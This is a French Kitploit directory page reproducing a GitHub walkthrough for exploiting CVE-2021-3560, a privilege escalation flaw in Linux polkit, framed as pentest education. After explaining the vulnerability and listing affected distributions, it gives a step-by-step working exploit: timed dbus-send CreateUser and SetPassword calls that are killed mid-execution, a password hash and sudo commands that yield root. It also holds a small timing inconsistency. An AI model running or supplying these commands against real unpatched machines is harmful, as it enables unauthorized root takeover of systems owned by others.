Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Polkit-CVE-2021-3560 — Guide pas à pas pour exploiter CVE-2021-3560, une vulnérabilité d'élévation de privilèges dans polkit, incluant le contexte, l'analyse de la vulnérabilité et les commandes d'exploitation manuelle. | Kitploit
Outils/GitHubGitHub/assassinukg/polkit-cve-2021-3560
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et Éducation
GitHubassassinukg/polkit-cve-2021-3560

Polkit-CVE-2021-3560

Guide pas à pas pour exploiter CVE-2021-3560, une vulnérabilité d'élévation de privilèges dans polkit, incluant le contexte, l'analyse de la vulnérabilité et les commandes d'exploitation manuelle.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
243il y a 5 ansVérifié par Kitploit

Polkit-CVE-2021-3560

Contexte

Début 2021, un chercheur nommé Kevin Backhouse a découvert une vulnérabilité d'élévation de privilèges vieille de sept ans (depuis désignée CVE-2021-3560) dans l'utilitaire polkit de Linux. Heureusement, différentes distributions de Linux (et même différentes versions des mêmes distributions) utilisent différentes versions du logiciel, ce qui signifie que seules certaines sont vulnérables.

Plus précisément, les distributions grand public suivantes, entre autres, étaient vulnérables :

Red Hat Enterprise Linux 8 Fedora 21 (ou ultérieur) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") Toutes devraient désormais avoir publié des versions corrigées de leurs paquets polkit respectifs, cependant, si vous rencontrez l'une de ces distributions, elle pourrait encore être vulnérable si elle n'a pas été mise à jour depuis un certain temps.

Pour cette salle, nous nous concentrerons spécifiquement sur Ubuntu 20.04. Canonical a publié un correctif pour sa version de polkit (policykit-1), qui porte le numéro de version 0.105-26ubuntu1.1. La dernière version vulnérable disponible dans les dépôts apt pour Focal Fossa est 0.105-26ubuntu1, donc, si vous voyez cela, vous avez peut-être de la chance !

Nous pouvons utiliser apt list --installed | grep policykit-1 pour vérifier la version installée de polkit :

Qu'est-ce que Polkit ?

La question logique à se poser maintenant est : « Qu'est-ce que polkit ? »

Polkit fait partie du système d'autorisation de Linux. En effet, lorsque vous essayez d'effectuer une action qui nécessite un niveau de privilèges plus élevé, la boîte à outils de politiques (policy toolkit) peut être utilisée pour déterminer si vous disposez des autorisations requises. Il est intégré à systemd et est beaucoup plus configurable que le système sudo traditionnel. En effet, il est parfois appelé le « sudo de systemd ».

Vunerability

  • L'attaquant envoie manuellement un message dbus au accounts-daemon demandant la création d'un nouveau compte avec les permissions sudo (ou, plus tard, un mot de passe à définir pour le nouvel utilisateur). Ce message reçoit un identifiant unique de la part du dbus-daemon.
  • L'attaquant tue le message après que polkit l'ait reçu, mais avant que polkit ait eu la chance de le traiter. Cela détruit effectivement l'identifiant unique du message.
  • Polkit demande au dbus-daemon l'ID utilisateur de l'utilisateur qui a envoyé le message, en référençant l'ID du message (maintenant supprimé).
  • Le dbus-daemon ne peut pas trouver l'ID du message car nous l'avons tué à l'étape deux. Il gère l'erreur en répondant avec un code d'erreur.
  • Polkit gère mal l'erreur et substitue 0 à l'ID utilisateur -- c'est-à-dire le compte root de la machine.
  • Pensant que l'utilisateur root a demandé l'action, polkit autorise la requête sans opposition.

Exploitation

  • Premier dbus message
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

Cette commande envoie manuellement un message dbus au daemon des comptes, imprime la réponse et crée un nouvel utilisateur nommé attacker (string:attacker) avec une description "Pentester Account" (string:"Pentester Account") et l'appartenance au groupe sudo définie sur true (référencée par le drapeau theint32:1).

  • Second message
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'

Cela envoie à nouveau un message dbus au daemon des comptes, demandant un changement de mot de passe pour l'utilisateur avec un ID que nous spécifions (indiqué en rouge), un hachage de mot de passe que nous devons générer manuellement, et un indice ("Ask the pentester")

Comme il s'agit effectivement d'une condition de course (race condition), nous devons d'abord déterminer combien de temps notre commande mettra à s'exécuter. Essayons cela avec le premier message dbus : time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

exemple :

root@kitploit:~
real 0m0.11s
user 0m0.002s
sys  0m0000s

Cela prend 0,011 seconde, soit 11 millisecondes. Ce nombre sera légèrement différent à chaque exécution de la commande ; cependant, sur la machine fournie, il devrait toujours être autour de ce nombre.

Nous devons tuer la commande approximativement à mi-chemin de son exécution. Cinq millisecondes fonctionnent généralement assez bien sur la machine fournie ; cependant, sachez que ce n'est pas une science exacte. Vous devrez peut-être modifier le temps de sommeil, ou exécuter la commande plusieurs fois avant qu'elle ne fonctionne. Cela dit, une fois que vous trouvez un temps qui fonctionne, il devrait fonctionner de manière cohérente. Si vous avez du mal à trouver un temps qui fonctionne, placer la commande dans une boucle for en bash et parcourir rapidement une plage de temps fonctionne généralement assez bien.

Essayons cela. Nous devons envoyer le message dbus, puis le tuer environ à mi-parcours :

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

Pour expliquer la commande ci-dessus, nous avons envoyé le message dbus dans un job d'arrière-plan (en utilisant l'esperluette pour mettre la commande en arrière-plan). Nous lui avons ensuite dit de dormir pendant 5 millisecondes (sleep 0.005s), puis de tuer le processus précédent ($!). Cela a réussi à créer le nouvel utilisateur, en l'ajoutant au groupe sudo. Nous devrions noter à ce stade que l'ID utilisateur du nouvel utilisateur dans cet exemple est 1000.

root@kitploit:~
id attacker

Maintenant, tout ce que nous avons à faire est de donner un mot de passe à l'utilisateur et nous devrions être prêts !

Nous avons besoin d'un hachage de mot de passe ici, alors générons un hachage Sha512Crypt pour notre mot de passe choisi (Expl01ted) : openssl passwd -6 Expl01ted

En utilisant openssl, nous générons un mot de passe de type 6 (SHA512-crypt) et notre mot de passe en clair (Expl01ted).

Maintenant, finissons-en ! 5 millisecondes ont fonctionné la dernière fois, donc cela devrait fonctionner ici aussi :

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
root@kitploit:~
sudo attacker
sudo -l
sudo -s

Référence

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about

Télécharger l’outil